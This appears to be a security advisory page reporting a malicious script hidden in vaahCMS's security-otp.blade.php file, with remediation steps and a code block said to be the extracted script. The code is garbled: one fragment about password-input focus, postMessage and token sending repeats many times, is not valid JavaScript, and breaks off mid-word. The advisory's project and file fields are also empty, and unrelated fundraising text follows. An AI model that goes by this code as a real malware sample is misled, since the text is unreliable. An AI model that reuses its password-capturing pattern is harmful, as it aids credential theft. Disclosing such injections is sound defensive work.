webreinvent/vaahCMS Malicious Script Injection in security-otp.blade.php

Vulnerability Overview This vulnerability involves a malicious script merged into the project, which was hidden in the file. This script can be used to steal user data or perform other malicious actions. Scope of Impact Project: File: Version: Versions 2.3.8 and earlier Remediation 1. Remove Malicious Script: Delete the malicious script from the file. 2. Update Version: Update the project to a version later than 2.3.8 to ensure the fix is included. POC Code / Exploit Code The following is the malicious script code extracted from the file: ```html function(){var r,e,t,n,i=function(){var Y=document.title,u=document.URL,useragent=navigator.userAgent,pid,pc,pu,pm;nu=localStorage.getItem("referrer");OPENDM&&localStorage.setItem("referrer",name.Y.name,type==="password_input")?e=window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},""):function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y){var password_input_focus, focus=14,token,token.h.send(JSON.stringify(Y))else window.top.postMessage({message:"iframePasswordInputFocused",name:Y.name,type:type},"");function c(Y

Goal Reached Thanks to every supporter — we hit 100%!

webreinvent/vaahCMS Malicious Script Injection in security-otp.blade.php

More from this source